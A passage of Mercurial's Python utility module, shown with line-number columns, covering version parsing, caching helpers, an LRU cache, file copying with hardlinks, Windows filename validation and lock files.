1001 1000 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1002 1001 returned values:
1003 1002
1004 1003 >>> v = b'3.6.1+190-df9b73d2d444'
1005 1004 >>> versiontuple(v, 2)
1006 1005 (3, 6)
1007 1006 >>> versiontuple(v, 3)
1008 1007 (3, 6, 1)
1009 1008 >>> versiontuple(v, 4)
1010 1009 (3, 6, 1, '190-df9b73d2d444')
1011 1010
1012 1011 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1013 1012 (3, 6, 1, '190-df9b73d2d444+20151118')
1014 1013
1015 1014 >>> v = b'3.6'
1016 1015 >>> versiontuple(v, 2)
1017 1016 (3, 6)
1018 1017 >>> versiontuple(v, 3)
1019 1018 (3, 6, None)
1020 1019 >>> versiontuple(v, 4)
1021 1020 (3, 6, None, None)
1022 1021
1023 1022 >>> v = b'3.9-rc'
1024 1023 >>> versiontuple(v, 2)
1025 1024 (3, 9)
1026 1025 >>> versiontuple(v, 3)
1027 1026 (3, 9, None)
1028 1027 >>> versiontuple(v, 4)
1029 1028 (3, 9, None, 'rc')
1030 1029
1031 1030 >>> v = b'3.9-rc+2-02a8fea4289b'
1032 1031 >>> versiontuple(v, 2)
1033 1032 (3, 9)
1034 1033 >>> versiontuple(v, 3)
1035 1034 (3, 9, None)
1036 1035 >>> versiontuple(v, 4)
1037 1036 (3, 9, None, 'rc+2-02a8fea4289b')
1038 1037
1039 1038 >>> versiontuple(b'4.6rc0')
1040 1039 (4, 6, None, 'rc0')
1041 1040 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1042 1041 (4, 6, None, 'rc0+12-425d55e54f98')
1043 1042 >>> versiontuple(b'.1.2.3')
1044 1043 (None, None, None, '.1.2.3')
1045 1044 >>> versiontuple(b'12.34..5')
1046 1045 (12, 34, None, '..5')
1047 1046 >>> versiontuple(b'1.2.3.4.5.6')
1048 1047 (1, 2, 3, '.4.5.6')
1049 1048 """
1050 1049 if not v:
1051 1050 v = version()
1052 1051 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1053 1052 if not m:
1054 1053 vparts, extra = '', v
1055 1054 elif m.group(2):
1056 1055 vparts, extra = m.groups()
1057 1056 else:
1058 1057 vparts, extra = m.group(1), None
1059 1058
1060 1059 vints = []
1061 1060 for i in vparts.split('.'):
1062 1061 try:
1063 1062 vints.append(int(i))
1064 1063 except ValueError:
1065 1064 break
1066 1065 # (3, 6) -> (3, 6, None)
1067 1066 while len(vints) < 3:
1068 1067 vints.append(None)
1069 1068
1070 1069 if n == 2:
1071 1070 return (vints[0], vints[1])
1072 1071 if n == 3:
1073 1072 return (vints[0], vints[1], vints[2])
1074 1073 if n == 4:
1075 1074 return (vints[0], vints[1], vints[2], extra)
1076 1075
1077 1076 def cachefunc(func):
1078 1077 '''cache the result of function calls'''
1079 1078 # XXX doesn't handle keywords args
1080 1079 if func.__code__.co_argcount == 0:
1081 1080 cache = []
1082 1081 def f():
1083 1082 if len(cache) == 0:
1084 1083 cache.append(func())
1085 1084 return cache[0]
1086 1085 return f
1087 1086 cache = {}
1088 1087 if func.__code__.co_argcount == 1:
1089 1088 # we gain a small amount of time because
1090 1089 # we don't need to pack/unpack the list
1091 1090 def f(arg):
1092 1091 if arg not in cache:
1093 1092 cache[arg] = func(arg)
1094 1093 return cache[arg]
1095 1094 else:
1096 1095 def f(*args):
1097 1096 if args not in cache:
1098 1097 cache[args] = func(*args)
1099 1098 return cache[args]
1100 1099
1101 1100 return f
1102 1101
1103 1102 class cow(object):
1104 1103 """helper class to make copy-on-write easier
1105 1104
1106 1105 Call preparewrite before doing any writes.
1107 1106 """
1108 1107
1109 1108 def preparewrite(self):
1110 1109 """call this before writes, return self or a copied new object"""
1111 1110 if getattr(self, '_copied', 0):
1112 1111 self._copied -= 1
1113 1112 return self.__class__(self)
1114 1113 return self
1115 1114
1116 1115 def copy(self):
1117 1116 """always do a cheap copy"""
1118 1117 self._copied = getattr(self, '_copied', 0) + 1
1119 1118 return self
1120 1119
1121 1120 class sortdict(collections.OrderedDict):
1122 1121 '''a simple sorted dictionary
1123 1122
1124 1123 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1125 1124 >>> d2 = d1.copy()
1126 1125 >>> d2
1127 1126 sortdict([('a', 0), ('b', 1)])
1128 1127 >>> d2.update([(b'a', 2)])
1129 1128 >>> list(d2.keys()) # should still be in last-set order
1130 1129 ['b', 'a']
1131 1130 '''
1132 1131
1133 1132 def __setitem__(self, key, value):
1134 1133 if key in self:
1135 1134 del self[key]
1136 1135 super(sortdict, self).__setitem__(key, value)
1137 1136
1138 1137 if pycompat.ispypy:
1139 1138 # __setitem__() isn't called as of PyPy 5.8.0
1140 1139 def update(self, src):
1141 1140 if isinstance(src, dict):
1142 1141 src = src.iteritems()
1143 1142 for k, v in src:
1144 1143 self[k] = v
1145 1144
1146 1145 class cowdict(cow, dict):
1147 1146 """copy-on-write dict
1148 1147
1149 1148 Be sure to call d = d.preparewrite() before writing to d.
1150 1149
1151 1150 >>> a = cowdict()
1152 1151 >>> a is a.preparewrite()
1153 1152 True
1154 1153 >>> b = a.copy()
1155 1154 >>> b is a
1156 1155 True
1157 1156 >>> c = b.copy()
1158 1157 >>> c is a
1159 1158 True
1160 1159 >>> a = a.preparewrite()
1161 1160 >>> b is a
1162 1161 False
1163 1162 >>> a is a.preparewrite()
1164 1163 True
1165 1164 >>> c = c.preparewrite()
1166 1165 >>> b is c
1167 1166 False
1168 1167 >>> b is b.preparewrite()
1169 1168 True
1170 1169 """
1171 1170
1172 1171 class cowsortdict(cow, sortdict):
1173 1172 """copy-on-write sortdict
1174 1173
1175 1174 Be sure to call d = d.preparewrite() before writing to d.
1176 1175 """
1177 1176
1178 1177 class transactional(object):
1179 1178 """Base class for making a transactional type into a context manager."""
1180 1179 __metaclass__ = abc.ABCMeta
1181 1180
1182 1181 @abc.abstractmethod
1183 1182 def close(self):
1184 1183 """Successfully closes the transaction."""
1185 1184
1186 1185 @abc.abstractmethod
1187 1186 def release(self):
1188 1187 """Marks the end of the transaction.
1189 1188
1190 1189 If the transaction has not been closed, it will be aborted.
1191 1190 """
1192 1191
1193 1192 def __enter__(self):
1194 1193 return self
1195 1194
1196 1195 def __exit__(self, exc_type, exc_val, exc_tb):
1197 1196 try:
1198 1197 if exc_type is None:
1199 1198 self.close()
1200 1199 finally:
1201 1200 self.release()
1202 1201
1203 1202 @contextlib.contextmanager
1204 1203 def acceptintervention(tr=None):
1205 1204 """A context manager that closes the transaction on InterventionRequired
1206 1205
1207 1206 If no transaction was provided, this simply runs the body and returns
1208 1207 """
1209 1208 if not tr:
1210 1209 yield
1211 1210 return
1212 1211 try:
1213 1212 yield
1214 1213 tr.close()
1215 1214 except error.InterventionRequired:
1216 1215 tr.close()
1217 1216 raise
1218 1217 finally:
1219 1218 tr.release()
1220 1219
1221 1220 @contextlib.contextmanager
1222 1221 def nullcontextmanager():
1223 1222 yield
1224 1223
1225 1224 class _lrucachenode(object):
1226 1225 """A node in a doubly linked list.
1227 1226
1228 1227 Holds a reference to nodes on either side as well as a key-value
1229 1228 pair for the dictionary entry.
1230 1229 """
1231 1230 __slots__ = (u'next', u'prev', u'key', u'value')
1232 1231
1233 1232 def __init__(self):
1234 1233 self.next = None
1235 1234 self.prev = None
1236 1235
1237 1236 self.key = _notset
1238 1237 self.value = None
1239 1238
1240 1239 def markempty(self):
1241 1240 """Mark the node as emptied."""
1242 1241 self.key = _notset
1243 1242
1244 1243 class lrucachedict(object):
1245 1244 """Dict that caches most recent accesses and sets.
1246 1245
1247 1246 The dict consists of an actual backing dict - indexed by original
1248 1247 key - and a doubly linked circular list defining the order of entries in
1249 1248 the cache.
1250 1249
1251 1250 The head node is the newest entry in the cache. If the cache is full,
1252 1251 we recycle head.prev and make it the new head. Cache accesses result in
1253 1252 the node being moved to before the existing head and being marked as the
1254 1253 new head node.
1255 1254 """
1256 1255 def __init__(self, max):
1257 1256 self._cache = {}
1258 1257
1259 1258 self._head = head = _lrucachenode()
1260 1259 head.prev = head
1261 1260 head.next = head
1262 1261 self._size = 1
1263 1262 self._capacity = max
1264 1263
1265 1264 def __len__(self):
1266 1265 return len(self._cache)
1267 1266
1268 1267 def __contains__(self, k):
1269 1268 return k in self._cache
1270 1269
1271 1270 def __iter__(self):
1272 1271 # We don't have to iterate in cache order, but why not.
1273 1272 n = self._head
1274 1273 for i in range(len(self._cache)):
1275 1274 yield n.key
1276 1275 n = n.next
1277 1276
1278 1277 def __getitem__(self, k):
1279 1278 node = self._cache[k]
1280 1279 self._movetohead(node)
1281 1280 return node.value
1282 1281
1283 1282 def __setitem__(self, k, v):
1284 1283 node = self._cache.get(k)
1285 1284 # Replace existing value and mark as newest.
1286 1285 if node is not None:
1287 1286 node.value = v
1288 1287 self._movetohead(node)
1289 1288 return
1290 1289
1291 1290 if self._size < self._capacity:
1292 1291 node = self._addcapacity()
1293 1292 else:
1294 1293 # Grab the last/oldest item.
1295 1294 node = self._head.prev
1296 1295
1297 1296 # At capacity. Kill the old entry.
1298 1297 if node.key is not _notset:
1299 1298 del self._cache[node.key]
1300 1299
1301 1300 node.key = k
1302 1301 node.value = v
1303 1302 self._cache[k] = node
1304 1303 # And mark it as newest entry. No need to adjust order since it
1305 1304 # is already self._head.prev.
1306 1305 self._head = node
1307 1306
1308 1307 def __delitem__(self, k):
1309 1308 node = self._cache.pop(k)
1310 1309 node.markempty()
1311 1310
1312 1311 # Temporarily mark as newest item before re-adjusting head to make
1313 1312 # this node the oldest item.
1314 1313 self._movetohead(node)
1315 1314 self._head = node.next
1316 1315
1317 1316 # Additional dict methods.
1318 1317
1319 1318 def get(self, k, default=None):
1320 1319 try:
1321 1320 return self._cache[k].value
1322 1321 except KeyError:
1323 1322 return default
1324 1323
1325 1324 def clear(self):
1326 1325 n = self._head
1327 1326 while n.key is not _notset:
1328 1327 n.markempty()
1329 1328 n = n.next
1330 1329
1331 1330 self._cache.clear()
1332 1331
1333 1332 def copy(self):
1334 1333 result = lrucachedict(self._capacity)
1335 1334 n = self._head.prev
1336 1335 # Iterate in oldest-to-newest order, so the copy has the right ordering
1337 1336 for i in range(len(self._cache)):
1338 1337 result[n.key] = n.value
1339 1338 n = n.prev
1340 1339 return result
1341 1340
1342 1341 def _movetohead(self, node):
1343 1342 """Mark a node as the newest, making it the new head.
1344 1343
1345 1344 When a node is accessed, it becomes the freshest entry in the LRU
1346 1345 list, which is denoted by self._head.
1347 1346
1348 1347 Visually, let's make ``N`` the new head node (* denotes head):
1349 1348
1350 1349 previous/oldest <-> head <-> next/next newest
1351 1350
1352 1351 ----<->--- A* ---<->-----
1353 1352 | |
1354 1353 E <-> D <-> N <-> C <-> B
1355 1354
1356 1355 To:
1357 1356
1358 1357 ----<->--- N* ---<->-----
1359 1358 | |
1360 1359 E <-> D <-> C <-> B <-> A
1361 1360
1362 1361 This requires the following moves:
1363 1362
1364 1363 C.next = D (node.prev.next = node.next)
1365 1364 D.prev = C (node.next.prev = node.prev)
1366 1365 E.next = N (head.prev.next = node)
1367 1366 N.prev = E (node.prev = head.prev)
1368 1367 N.next = A (node.next = head)
1369 1368 A.prev = N (head.prev = node)
1370 1369 """
1371 1370 head = self._head
1372 1371 # C.next = D
1373 1372 node.prev.next = node.next
1374 1373 # D.prev = C
1375 1374 node.next.prev = node.prev
1376 1375 # N.prev = E
1377 1376 node.prev = head.prev
1378 1377 # N.next = A
1379 1378 # It is tempting to do just "head" here, however if node is
1380 1379 # adjacent to head, this will do bad things.
1381 1380 node.next = head.prev.next
1382 1381 # E.next = N
1383 1382 node.next.prev = node
1384 1383 # A.prev = N
1385 1384 node.prev.next = node
1386 1385
1387 1386 self._head = node
1388 1387
1389 1388 def _addcapacity(self):
1390 1389 """Add a node to the circular linked list.
1391 1390
1392 1391 The new node is inserted before the head node.
1393 1392 """
1394 1393 head = self._head
1395 1394 node = _lrucachenode()
1396 1395 head.prev.next = node
1397 1396 node.prev = head.prev
1398 1397 node.next = head
1399 1398 head.prev = node
1400 1399 self._size += 1
1401 1400 return node
1402 1401
1403 1402 def lrucachefunc(func):
1404 1403 '''cache most recent results of function calls'''
1405 1404 cache = {}
1406 1405 order = collections.deque()
1407 1406 if func.__code__.co_argcount == 1:
1408 1407 def f(arg):
1409 1408 if arg not in cache:
1410 1409 if len(cache) > 20:
1411 1410 del cache[order.popleft()]
1412 1411 cache[arg] = func(arg)
1413 1412 else:
1414 1413 order.remove(arg)
1415 1414 order.append(arg)
1416 1415 return cache[arg]
1417 1416 else:
1418 1417 def f(*args):
1419 1418 if args not in cache:
1420 1419 if len(cache) > 20:
1421 1420 del cache[order.popleft()]
1422 1421 cache[args] = func(*args)
1423 1422 else:
1424 1423 order.remove(args)
1425 1424 order.append(args)
1426 1425 return cache[args]
1427 1426
1428 1427 return f
1429 1428
1430 1429 class propertycache(object):
1431 1430 def __init__(self, func):
1432 1431 self.func = func
1433 1432 self.name = func.__name__
1434 1433 def __get__(self, obj, type=None):
1435 1434 result = self.func(obj)
1436 1435 self.cachevalue(obj, result)
1437 1436 return result
1438 1437
1439 1438 def cachevalue(self, obj, value):
1440 1439 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1441 1440 obj.__dict__[self.name] = value
1442 1441
1443 1442 def clearcachedproperty(obj, prop):
1444 1443 '''clear a cached property value, if one has been set'''
1445 1444 if prop in obj.__dict__:
1446 1445 del obj.__dict__[prop]
1447 1446
1448 1447 def increasingchunks(source, min=1024, max=65536):
1449 1448 '''return no less than min bytes per chunk while data remains,
1450 1449 doubling min after each chunk until it reaches max'''
1451 1450 def log2(x):
1452 1451 if not x:
1453 1452 return 0
1454 1453 i = 0
1455 1454 while x:
1456 1455 x >>= 1
1457 1456 i += 1
1458 1457 return i - 1
1459 1458
1460 1459 buf = []
1461 1460 blen = 0
1462 1461 for chunk in source:
1463 1462 buf.append(chunk)
1464 1463 blen += len(chunk)
1465 1464 if blen >= min:
1466 1465 if min < max:
1467 1466 min = min << 1
1468 1467 nmin = 1 << log2(blen)
1469 1468 if nmin > min:
1470 1469 min = nmin
1471 1470 if min > max:
1472 1471 min = max
1473 1472 yield ''.join(buf)
1474 1473 blen = 0
1475 1474 buf = []
1476 1475 if buf:
1477 1476 yield ''.join(buf)
1478 1477
1479 1478 def always(fn):
1480 1479 return True
1481 1480
1482 1481 def never(fn):
1483 1482 return False
1484 1483
1485 1484 def nogc(func):
1486 1485 """disable garbage collector
1487 1486
1488 1487 Python's garbage collector triggers a GC each time a certain number of
1489 1488 container objects (the number being defined by gc.get_threshold()) are
1490 1489 allocated even when marked not to be tracked by the collector. Tracking has
1491 1490 no effect on when GCs are triggered, only on what objects the GC looks
1492 1491 into. As a workaround, disable GC while building complex (huge)
1493 1492 containers.
1494 1493
1495 1494 This garbage collector issue have been fixed in 2.7. But it still affect
1496 1495 CPython's performance.
1497 1496 """
1498 1497 def wrapper(*args, **kwargs):
1499 1498 gcenabled = gc.isenabled()
1500 1499 gc.disable()
1501 1500 try:
1502 1501 return func(*args, **kwargs)
1503 1502 finally:
1504 1503 if gcenabled:
1505 1504 gc.enable()
1506 1505 return wrapper
1507 1506
1508 1507 if pycompat.ispypy:
1509 1508 # PyPy runs slower with gc disabled
1510 1509 nogc = lambda x: x
1511 1510
1512 1511 def pathto(root, n1, n2):
1513 1512 '''return the relative path from one place to another.
1514 1513 root should use os.sep to separate directories
1515 1514 n1 should use os.sep to separate directories
1516 1515 n2 should use "/" to separate directories
1517 1516 returns an os.sep-separated path.
1518 1517
1519 1518 If n1 is a relative path, it's assumed it's
1520 1519 relative to root.
1521 1520 n2 should always be relative to root.
1522 1521 '''
1523 1522 if not n1:
1524 1523 return localpath(n2)
1525 1524 if os.path.isabs(n1):
1526 1525 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1527 1526 return os.path.join(root, localpath(n2))
1528 1527 n2 = '/'.join((pconvert(root), n2))
1529 1528 a, b = splitpath(n1), n2.split('/')
1530 1529 a.reverse()
1531 1530 b.reverse()
1532 1531 while a and b and a[-1] == b[-1]:
1533 1532 a.pop()
1534 1533 b.pop()
1535 1534 b.reverse()
1536 1535 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1537 1536
1538 1537 # the location of data files matching the source code
1539 1538 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1540 1539 # executable version (py2exe) doesn't support __file__
1541 1540 datapath = os.path.dirname(pycompat.sysexecutable)
1542 1541 else:
1543 1542 datapath = os.path.dirname(pycompat.fsencode(__file__))
1544 1543
1545 1544 i18n.setdatapath(datapath)
1546 1545
1547 1546 def checksignature(func):
1548 1547 '''wrap a function with code to check for calling errors'''
1549 1548 def check(*args, **kwargs):
1550 1549 try:
1551 1550 return func(*args, **kwargs)
1552 1551 except TypeError:
1553 1552 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1554 1553 raise error.SignatureError
1555 1554 raise
1556 1555
1557 1556 return check
1558 1557
1559 1558 # a whilelist of known filesystems where hardlink works reliably
1560 1559 _hardlinkfswhitelist = {
1561 1560 'apfs',
1562 1561 'btrfs',
1563 1562 'ext2',
1564 1563 'ext3',
1565 1564 'ext4',
1566 1565 'hfs',
1567 1566 'jfs',
1568 1567 'NTFS',
1569 1568 'reiserfs',
1570 1569 'tmpfs',
1571 1570 'ufs',
1572 1571 'xfs',
1573 1572 'zfs',
1574 1573 }
1575 1574
1576 1575 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1577 1576 '''copy a file, preserving mode and optionally other stat info like
1578 1577 atime/mtime
1579 1578
1580 1579 checkambig argument is used with filestat, and is useful only if
1581 1580 destination file is guarded by any lock (e.g. repo.lock or
1582 1581 repo.wlock).
1583 1582
1584 1583 copystat and checkambig should be exclusive.
1585 1584 '''
1586 1585 assert not (copystat and checkambig)
1587 1586 oldstat = None
1588 1587 if os.path.lexists(dest):
1589 1588 if checkambig:
1590 1589 oldstat = checkambig and filestat.frompath(dest)
1591 1590 unlink(dest)
1592 1591 if hardlink:
1593 1592 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1594 1593 # unless we are confident that dest is on a whitelisted filesystem.
1595 1594 try:
1596 1595 fstype = getfstype(os.path.dirname(dest))
1597 1596 except OSError:
1598 1597 fstype = None
1599 1598 if fstype not in _hardlinkfswhitelist:
1600 1599 hardlink = False
1601 1600 if hardlink:
1602 1601 try:
1603 1602 oslink(src, dest)
1604 1603 return
1605 1604 except (IOError, OSError):
1606 1605 pass # fall back to normal copy
1607 1606 if os.path.islink(src):
1608 1607 os.symlink(os.readlink(src), dest)
1609 1608 # copytime is ignored for symlinks, but in general copytime isn't needed
1610 1609 # for them anyway
1611 1610 else:
1612 1611 try:
1613 1612 shutil.copyfile(src, dest)
1614 1613 if copystat:
1615 1614 # copystat also copies mode
1616 1615 shutil.copystat(src, dest)
1617 1616 else:
1618 1617 shutil.copymode(src, dest)
1619 1618 if oldstat and oldstat.stat:
1620 1619 newstat = filestat.frompath(dest)
1621 1620 if newstat.isambig(oldstat):
1622 1621 # stat of copied file is ambiguous to original one
1623 1622 advanced = (
1624 1623 oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
1625 1624 os.utime(dest, (advanced, advanced))
1626 1625 except shutil.Error as inst:
1627 1626 raise error.Abort(str(inst))
1628 1627
1629 1628 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1630 1629 """Copy a directory tree using hardlinks if possible."""
1631 1630 num = 0
1632 1631
1633 1632 gettopic = lambda: hardlink and _('linking') or _('copying')
1634 1633
1635 1634 if os.path.isdir(src):
1636 1635 if hardlink is None:
1637 1636 hardlink = (os.stat(src).st_dev ==
1638 1637 os.stat(os.path.dirname(dst)).st_dev)
1639 1638 topic = gettopic()
1640 1639 os.mkdir(dst)
1641 1640 for name, kind in listdir(src):
1642 1641 srcname = os.path.join(src, name)
1643 1642 dstname = os.path.join(dst, name)
1644 1643 def nprog(t, pos):
1645 1644 if pos is not None:
1646 1645 return progress(t, pos + num)
1647 1646 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1648 1647 num += n
1649 1648 else:
1650 1649 if hardlink is None:
1651 1650 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1652 1651 os.stat(os.path.dirname(dst)).st_dev)
1653 1652 topic = gettopic()
1654 1653
1655 1654 if hardlink:
1656 1655 try:
1657 1656 oslink(src, dst)
1658 1657 except (IOError, OSError):
1659 1658 hardlink = False
1660 1659 shutil.copy(src, dst)
1661 1660 else:
1662 1661 shutil.copy(src, dst)
1663 1662 num += 1
1664 1663 progress(topic, num)
1665 1664 progress(topic, None)
1666 1665
1667 1666 return hardlink, num
1668 1667
1669 1668 _winreservednames = {
1670 1669 'con', 'prn', 'aux', 'nul',
1671 1670 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
1672 1671 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
1673 1672 }
1674 1673 _winreservedchars = ':*?"<>|'
1675 1674 def checkwinfilename(path):
1676 1675 r'''Check that the base-relative path is a valid filename on Windows.
1677 1676 Returns None if the path is ok, or a UI string describing the problem.
1678 1677
1679 1678 >>> checkwinfilename(b"just/a/normal/path")
1680 1679 >>> checkwinfilename(b"foo/bar/con.xml")
1681 1680 "filename contains 'con', which is reserved on Windows"
1682 1681 >>> checkwinfilename(b"foo/con.xml/bar")
1683 1682 "filename contains 'con', which is reserved on Windows"
1684 1683 >>> checkwinfilename(b"foo/bar/xml.con")
1685 1684 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
1686 1685 "filename contains 'AUX', which is reserved on Windows"
1687 1686 >>> checkwinfilename(b"foo/bar/bla:.txt")
1688 1687 "filename contains ':', which is reserved on Windows"
1689 1688 >>> checkwinfilename(b"foo/bar/b\07la.txt")
1690 1689 "filename contains '\\x07', which is invalid on Windows"
1691 1690 >>> checkwinfilename(b"foo/bar/bla ")
1692 1691 "filename ends with ' ', which is not allowed on Windows"
1693 1692 >>> checkwinfilename(b"../bar")
1694 1693 >>> checkwinfilename(b"foo\\")
1695 1694 "filename ends with '\\', which is invalid on Windows"
1696 1695 >>> checkwinfilename(b"foo\\/bar")
1697 1696 "directory name ends with '\\', which is invalid on Windows"
1698 1697 '''
1699 1698 if path.endswith('\\'):
1700 1699 return _("filename ends with '\\', which is invalid on Windows")
1701 1700 if '\\/' in path:
1702 1701 return _("directory name ends with '\\', which is invalid on Windows")
1703 1702 for n in path.replace('\\', '/').split('/'):
1704 1703 if not n:
1705 1704 continue
1706 1705 for c in _filenamebytestr(n):
1707 1706 if c in _winreservedchars:
1708 1707 return _("filename contains '%s', which is reserved "
1709 1708 "on Windows") % c
1710 1709 if ord(c) <= 31:
1711 1710 return _("filename contains '%s', which is invalid "
1712 1711 "on Windows") % stringutil.escapestr(c)
1713 1712 base = n.split('.')[0]
1714 1713 if base and base.lower() in _winreservednames:
1715 1714 return _("filename contains '%s', which is reserved "
1716 1715 "on Windows") % base
1717 1716 t = n[-1:]
1718 1717 if t in '. ' and n not in '..':
1719 1718 return _("filename ends with '%s', which is not allowed "
1720 1719 "on Windows") % t
1721 1720
1722 1721 if pycompat.iswindows:
1723 1722 checkosfilename = checkwinfilename
1724 1723 timer = time.clock
1725 1724 else:
1726 1725 checkosfilename = platform.checkosfilename
1727 1726 timer = time.time
1728 1727
1729 1728 if safehasattr(time, "perf_counter"):
1730 1729 timer = time.perf_counter
1731 1730
1732 1731 def makelock(info, pathname):
1733 1732 """Create a lock file atomically if possible
1734 1733
1735 1734 This may leave a stale lock file if symlink isn't supported and signal
1736 1735 interrupt is enabled.
1737 1736 """
1738 1737 try:
1739 1738 return os.symlink(info, pathname)
1740 1739 except OSError as why:
1741 1740 if why.errno == errno.EEXIST:
1742 1741 raise
1743 1742 except AttributeError: # no symlink in os
1744 1743 pass
1745 1744
1746 1745 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1747 1746 ld = os.open(pathname, flags)
1748 1747 os.write(ld, info)
1749 1748 os.close(ld)
1750 1749
1751 1750 def readlock(pathname):
1752 1751 try:
1753 1752 return os.readlink(pathname)
1754 1753 except OSError as why:
1755 1754 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1756 1755 raise
1757 1756 except AttributeError: # no symlink in os
1758 1757 pass
1759 1758 fp = posixfile(pathname, 'rb')
1760 1759 r = fp.read()
1761 1760 fp.close()
1762 1761 return r
1763 1762
1764 1763 def fstat(fp):
1765 1764 '''stat file object that may not have fileno method.'''
1766 1765 try:
1767 1766 return os.fstat(fp.fileno())
1768 1767 except AttributeError:
1769 1768 return os.stat(fp.name)
1770 1769
1771 1770 # File system features
1772 1771
1773 1772 def fscasesensitive(path):
1774 1773 """
1775 1774 Return true if the given path is on a case-sensitive filesystem
1776 1775
1777 1776 Requires a path (like /foo/.hg) ending with a foldable final
1778 1777 directory component.
1779 1778 """
1780 1779 s1 = os.lstat(path)
1781 1780 d, b = os.path.split(path)
1782 1781 b2 = b.upper()
1783 1782 if b == b2:
1784 1783 b2 = b.lower()
1785 1784 if b == b2:
1786 1785 return True # no evidence against case sensitivity
1787 1786 p2 = os.path.join(d, b2)
1788 1787 try:
1789 1788 s2 = os.lstat(p2)
1790 1789 if s2 == s1:
1791 1790 return False
1792 1791 return True
1793 1792 except OSError:
1794 1793 return True
1795 1794
1796 1795 try:
1797 1796 import re2
1798 1797 _re2 = None
1799 1798 except ImportError:
1800 1799 _re2 = False
1801 1800
1802 1801 class _re(object):
1803 1802 def _checkre2(self):
1804 1803 global _re2
1805 1804 try:
1806 1805 # check if match works, see issue3964
1807 1806 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1808 1807 except ImportError:
1809 1808 _re2 = False
1810 1809
1811 1810 def compile(self, pat, flags=0):
1812 1811 '''Compile a regular expression, using re2 if possible
1813 1812
1814 1813 For best performance, use only re2-compatible regexp features. The
1815 1814 only flags from the re module that are re2-compatible are
1816 1815 IGNORECASE and MULTILINE.'''
1817 1816 if _re2 is None:
1818 1817 self._checkre2()
1819 1818 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1820 1819 if flags & remod.IGNORECASE:
1821 1820 pat = '(?i)' + pat
1822 1821 if flags & remod.MULTILINE:
1823 1822 pat = '(?m)' + pat
1824 1823 try:
1825 1824 return re2.compile(pat)
1826 1825 except re2.error:
1827 1826 pass
1828 1827 return remod.compile(pat, flags)
1829 1828
1830 1829 @propertycache
1831 1830 def escape(self):
1832 1831 '''Return the version of escape corresponding to self.compile.
1833 1832
1834 1833 This is imperfect because whether re2 or re is used for a particular
1835 1834 function depends on the flags, etc, but it's the best we can do.
1836 1835 '''
1837 1836 global _re2
1838 1837 if _re2 is None:
1839 1838 self._checkre2()
1840 1839 if _re2:
1841 1840 return re2.escape
1842 1841 else:
1843 1842 return remod.escape
1844 1843
1845 1844 re = _re()
1846 1845
1847 1846 _fspathcache = {}
1848 1847 def fspath(name, root):
1849 1848 '''Get name in the case stored in the filesystem
1850 1849
1851 1850 The name should be relative to root, and be normcase-ed for efficiency.
1852 1851
1853 1852 Note that this function is unnecessary, and should not be
1854 1853 called, for case-sensitive filesystems (simply because it's expensive).
1855 1854
1856 1855 The root should be normcase-ed, too.
1857 1856 '''
1858 1857 def _makefspathcacheentry(dir):
1859 1858 return dict((normcase(n), n) for n in os.listdir(dir))
1860 1859
1861 1860 seps = pycompat.ossep
1862 1861 if pycompat.osaltsep:
1863 1862 seps = seps + pycompat.osaltsep
1864 1863 # Protect backslashes. This gets silly very quickly.
1865 1864 seps.replace('\\','\\\\')
1866 1865 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1867 1866 dir = os.path.normpath(root)
1868 1867 result = []
1869 1868 for part, sep in pattern.findall(name):
1870 1869 if sep:
1871 1870 result.append(sep)
1872 1871 continue
1873 1872
1874 1873 if dir not in _fspathcache:
1875 1874 _fspathcache[dir] = _makefspathcacheentry(dir)
1876 1875 contents = _fspathcache[dir]
1877 1876
1878 1877 found = contents.get(part)
1879 1878 if not found:
1880 1879 # retry "once per directory" per "dirstate.walk" which
1881 1880 # may take place for each patches of "hg qpush", for example
1882 1881 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1883 1882 found = contents.get(part)
1884 1883
1885 1884 result.append(found or part)
1886 1885 dir = os.path.join(dir, part)
1887 1886
1888 1887 return ''.join(result)
1889 1888
1890 1889 def checknlink(testfile):
1891 1890 '''check whether hardlink count reporting works properly'''
1892 1891
1893 1892 # testfile may be open, so we need a separate file for checking to
1894 1893 # work around issue2543 (or testfile may get lost on Samba shares)
1895 1894 f1, f2, fp = None, None, None
1896 1895 try:
1897 1896 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1898 1897 suffix='1~', dir=os.path.dirname(testfile))
1899 1898 os.close(fd)
1900 1899 f2 = '%s2~' % f1[:-2]
1901 1900
1902 1901 oslink(f1, f2)
1903 1902 # nlinks() may behave differently for files on Windows shares if
1904 1903 # the file is open.
1905 1904 fp = posixfile(f2)
1906 1905 return nlinks(f2) > 1
1907 1906 except OSError:
1908 1907 return False
1909 1908 finally:
1910 1909 if fp is not None:
1911 1910 fp.close()
1912 1911 for f in (f1, f2):
1913 1912 try:
1914 1913 if f is not None:
1915 1914 os.unlink(f)
1916 1915 except OSError:
1917 1916 pass
1918 1917
1919 1918 def endswithsep(path):
1920 1919 '''Check path ends with os.sep or os.altsep.'''
1921 1920 return (path.endswith(pycompat.ossep)
